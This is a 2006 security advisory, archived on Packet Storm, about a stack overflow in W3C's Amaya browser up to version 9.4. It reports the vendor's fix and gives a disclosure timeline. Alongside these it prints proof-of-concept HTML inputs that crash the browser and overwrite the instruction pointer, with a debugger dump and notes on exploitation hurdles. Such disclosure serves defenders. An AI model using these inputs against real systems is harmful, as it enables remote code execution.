exploit the possibilities

Amaya9.4.txt

Amaya9.4.txt
Posted Apr 19, 2006
Authored by Thomas Waldegger | Site morph3us.org

Amaya versions less than or equal to 9.4 suffer from a stack overflow which could possible lead to exploitation.

tags | advisory, overflow
MD5 | 4e498829c35d6be63700ff50a2582be3

Amaya9.4.txt

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: RIPEMD160

---------------------------------------------------
| BuHa Security-Advisory #10 | Apr 12th, 2006 |
---------------------------------------------------
| Vendor | W3C's Amaya |
| URL | http://www.w3.org/Amaya/ |
| Version | <= 9.4 |
| Risk | Critical (Remote Code Execution) |
---------------------------------------------------

o Description:
=============

The current releases, Amaya 9.5, is available for Linux, Windows and
now MacOS X (see screenshot). It supports HTML 4.01, XHTML 1.0, XHTML
Basic, XHTML 1.1, HTTP 1.1, MathML 2.0, many CSS 2 features, and
includes SVG support (transformation, transparency, and SMIL animation).

See the "Amaya Overview" page [1] for more details.

o Stack overflow:
================

Both of the two below posted code snippets (in fact there are dozens
of possible snippets but all of them trigger the same bug) force
Amaya 9.4 to crash:
> <colgroup compact="Ax200">
> [...]
> <textarea rows="Ax200">

After the first glance at the generated error report and respectively
the ASM code during the access violation I thought I came across a
heap based buffer overflow.

> eax=000000f9 ebx=02ae8420 ecx=77bcec76 edx=41414141 esi=007b9420
> edi=01ae6d5c eip=004edd95 esp=0012e7ac ebp=007d6110 iopl=0
> cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
>
> 004edd61 03f3 add esi,ebx
> 004edd63 a4 movsb
> 004edd64 8b4500 mov eax,[ebp]
> 004edd67 8b8c241c010000 mov ecx,[esp+0x11c]
> 004edd6e 8b942418010000 mov edx,[esp+0x118]
> 004edd75 50 push eax
> 004edd76 51 push ecx
> 004edd77 53 push ebx
> 004edd78 52 push edx
> 004edd79 e8a23c0200 call amaya+0x111a20 (00511a20)
> 004edd7e 53 push ebx
> 004edd7f e83cf90000 call amaya+0xfd6c0 (004fd6c0)
> 004edd84 83c428 add esp,0x28
> 004edd87 8bbc24fc000000 mov edi,[esp+0xfc]
> 004edd8e 8b942400010000 mov edx,[esp+0x100]
> FAULT ->004edd95 8b4240 mov eax,[edx+0x40]
> ds:0023:41414181=????????
> 004edd98 83f844 cmp eax,0x44
> 004edd9b 0f8527030000 jne amaya+0xee0c8 (004ee0c8)
> 004edda1 837c242457 cmp dword ptr [esp+0x24],0x57
> 004edda6 0f8465060000 je amaya+0xee411 (004ee411)
> 004eddac 8b4500 mov eax,[ebp]
> 004eddaf 8b8c2408010000 mov ecx,[esp+0x108]
> 004eddb6 6aff push 0xff
> 004eddb8 50 push eax
> 004eddb9 51 push ecx
> 004eddba 57 push edi
> 004eddbb e8d33af1ff call amaya+0x1893 (00401893)
> 004eddc0 83c410 add esp,0x10
> 004eddc3 5f pop edi
> 004eddc4 5e pop esi
> 004eddc5 5d pop ebp

After a second, more precise look, the evitable heap overflow turned
out to be a stack based overflow..

We are able to control the EIP:
> <textarea rows=
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB>

> eax=00000001 ebx=00000000 ecx=77c10e72 edx=007bd472
> esi=0000003e edi=00000000 eip=42424242 esp=0012ea38 ebp=00000000

> Function: <nosymbols>
> No prior disassembly possible
> 42424242 ?? ???
> 42424244 ?? ???
> 42424246 ?? ???
> 42424248 ?? ???
> 4242424a ?? ???
> 4242424c ?? ???

Online-demo:
http://morph3us.org/security/pen-testing/amaya/amaya-94-textarea-rows.html

In fact, sucessful exploitation of this vulnerability is not that easy
because non-text characters were modfified during parsing therefore you
have to find a place where to place the shellcode. Naturally you have
to avoid null bytes too because Amaya would stop parsing the attribute
value and the overflow would not get triggered.

o Disclosure Timeline:
=====================

21 Dec 05 - Vulnerability discovered.
21 Feb 06 - Vendor contacted.
23 Feb 06 - Vendor confirmed vulnerability.
08 Mar 06 - Vendor fixed vulnerability.
12 Apr 06 - Public release.

o Solution:
==========

Upgrade to the latest version of Amaya. [2]

o Credits:
=========

Thomas Waldegger <bugtraq@morph3us.org>
BuHa-Security Community - http://buha.info/board/

If you have questions, suggestions or criticism about the advisory feel
free to send me a mail. The address 'bugtraq@morph3us.org' is more a
spam address than a regular mail address therefore it's possible that
some mails get ignored. Please use the contact details at
http://morph3us.org/ to contact me.

Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all
members of BuHa.

Advisory online:
http://morph3us.org/advisories/20060412-amaya-94.txt

[1] http://www.w3.org/Amaya/Amaya.html
[2] http://www.w3.org/Amaya/User/BinDist.html

-----BEGIN PGP SIGNATURE-----
Version: n/a
Comment: http://morph3us.org/

iD8DBQFEPYALkCo6/ctnOpYRA5yzAJ9j/ki1dPCxPToftjLYHTUkCoGzyACfffaM
zCHSYS6ScvGJcRjuzqovGv4=
=wD6S
-----END PGP SIGNATURE-----

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close